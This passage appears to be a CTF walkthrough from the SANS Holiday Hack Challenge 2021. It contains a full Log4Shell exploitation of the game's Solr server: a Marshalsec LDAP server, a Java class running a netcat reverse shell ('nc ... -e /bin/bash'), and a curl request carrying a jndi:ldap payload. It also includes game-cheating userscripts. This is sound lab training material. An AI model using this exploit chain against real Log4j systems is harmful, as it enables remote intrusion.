ls /var/log/www/
sleep 2
cat /var/log/www/access.log | grep -i jndi
sleep 5
cat logshell-search.sh
sleep 1
logshell-search.sh /var/log/www
sleep 1
logshell-search.sh /var/log/www | sed '1!d'
sleep 1
logshell-search.sh /var/log/www | sed '2!d'
sleep 1
logshell-search.sh /var/log/www | sed '3!d'
sleep 1
next
sleep 5
exit
Bonus Red Log4Jack
Simple Log4J informational challenges added in the middle of HHC 2021.
The vulnerable server at http://solrpower.kringlecastle.com:8983 is running
Solr; you can see this by making a request to the web server /solr/
endpoint,
as shown here:
~$ curl http://solrpower.kringlecastle.com:8983/solr/
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html ng-app="solrAdminApp" ng-csp>
<!--
...
</body>
</html>
NOTE: Solr is not the only product vulnerable to the Log4shell vulnerability!
To exploit the vulnerable server, we will launch the Marshelsec Java deserialization LDAP server. The vulnerable server needs to reach the malicious LDAP server as part of the Log4shell attach path.
Change to the marshalsec
directory, as shown here:
~$ cd marshalsec
~/marshalsec$ ls
marshalsec-0.0.3-SNAPSHOT-all.jar
Start the Marshalsec LDAP server, specifying the listening web server by IP
address on port 8080. In the request, indicate the Java class name
#YuleLogExploit
which will correspond to the attack code we’ll generate
next, as shown here:
~/marshalsec$ java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://WEBSERVERIP:8080/#YuleLogExploit"
Listening on 0.0.0.0:1389
Be sure to replace
WEBSERVERIP
with the IP address of your terminal.
So far the attacking system has started the Marshalsec LDAP server started, the web server to deliver the malicious Java class, and the shell listener. Next, we need to create the exploit in Java to run a command on the vulnerable server and connect back to the attacker system.
Click to switch to the bottom terminal. Change to the web directory by running
cd web
, as shown here.
~$ cd web
~/web$
Next, create a file named YuleLogExploit.java
and add the Java exploit code
shown below. You can use the text editor nano to create the file by running
nano YuleLogExploit.java
.
public class YuleLogExploit {
static {
try {
java.lang.Runtime.getRuntime().exec("nc NETCATIP 4444 -e /bin/bash");
} catch (Exception err) {
err.printStackTrace();
}
}
}
This Java program will run the Netcat command and send a shell to the specified IP address.
NOTE: Make sure you replace the NETCATIP string with the IP address of your Netcat listener in the top-right corner of your terminal.
(If you don’t want to type this exploit code you can run mv .exploit YuleLogExploit.java
), then edit to replace NETCATIP
with your terminal IP
address.
Next, compile the exploit using the javac compiler, as shown here:
~/web$ javac YuleLogExploit.java
~/web$ ls
YuleLogExploit.class YuleLogExploit.java
Next, deliver the Log4shell exploit to gain remote access to Santa’s Solr server by making a cURL request, as shown here.
~/web$ curl 'http://solrpower.kringlecastle.com:8983/solr/admin/cores?foo=$\{jndi:ldap://MARSHALSECIP:1389/YuleLogExploit\}'
{
"responseHeader":{
"status":0,
"QTime":105},
"initFailures":{},
"status":{}}
Be sure to replace
MARSHALSECIP
with the IP address of your terminal.
If the exploit succeeds, you will see a status update in the terminal
window for the Marshalsec LDAP server, the web server, and the Netcat shell
listener. Switch to the Netcat shell listener terminal and enter any Linux
command such as whoami
:
listening on [172.17.0.2] 4444 ...
connect to [172.17.0.2] from (UNKNOWN) [172.17.0.2] 49530
whoami
solr
Success!
Next, retrieve the contents of the file in /home/solr/kringle.txt
using cat
:
cat /home/solr/kringle.txt
...
Finally, return to the terminal where you ran cURL and run runtoanswer
to
complete the achievement.
The solution to Log4shell is patching.
Sincerely,
Santa
~$ runtoanswer
What is Santa's solution for Log4j?
> patching
Checking.....
Your answer is correct!
Just for Fun
Alternative solutions - Logic Munchers
I wrote two separate tampermonkey scripts that worked on the Logic Munchers game.
The first script highlights each of the cells that evaluate to True
in green so you can quickly run through the game manually.
// ==UserScript==
// @name Logic Muncher Logic Checker
// @namespace http://tampermonkey.net/
// @version 0.1
// @description Highlight true cells in the kringlecon logic muncher game.
// @author Wheatley
// @include *logic.kringlecastle.com/*
// @icon https://www.google.com/s2/favicons?domain=kringlecon.com
// @grant none
// ==/UserScript==
(function() {
'use strict';
function highlightCells(){
function waitForFnc(){
if(typeof challenges == "undefined"){
setTimeout(waitForFnc, 500);
console.log("Waiting for chalenge data...");
}else{
for (let i = 0; i < 6; i++) {
for (let j = 0; j < 5; j++) {
var row = challenges[i];
if(row[j][1] === true) {
document.getElementById(i+','+j).setAttribute("style", "background-color: green;");
} else {
document.getElementById(i+','+j).setAttribute("style", "background-color: black;");
}
}
}
setTimeout(highlightCells, 500)
}
}
waitForFnc();
}
highlightCells();
})();
This second script just plain wins the game for you at the rate of about 1 level every 3 seconds since you have to let them load in first. I did this because I was curious if there was an additional hidden achievement for getting to an insane level/score, there did not seem to be after letting it run for some time. It does this by setting every true
value in the challenges
array to false
and then calling the game’s checkWin()
function. All of this manipulation is possible because most of the game variables are declared in a global space and are accessible to the end-user. Playing around there are a number of other things you can do as well such as automatically killing all of the enemies that pop up or setting their spawn timer so high they never show up in the first place.
// ==UserScript==
// @name Logic Muncher Just Win
// @namespace http://tampermonkey.net/
// @version 0.1
// @description Just win the kringlecon logic muncher game.
// @author Wheatley
// @include *logic.kringlecastle.com/*
// @icon https://www.google.com/s2/favicons?domain=kringlecon.com
// @grant none
// ==/UserScript==
(function() {
'use strict';
function doWin(){
function waitForFnc(){
if(typeof challenges == "undefined"){
setTimeout(waitForFnc, 500);
console.log("Waiting for chalenge data...");
}else{
for (var col = 0; col < challenges.length; col++) { // check each cell for a true statement
for (var cell = 0; cell < challenges[col].length; cell++) {
challenges[col][cell][1] = false;
};
};
checkWin();
setTimeout(doWin, 3000)
}
}
waitForFnc();
}
doWin();
})();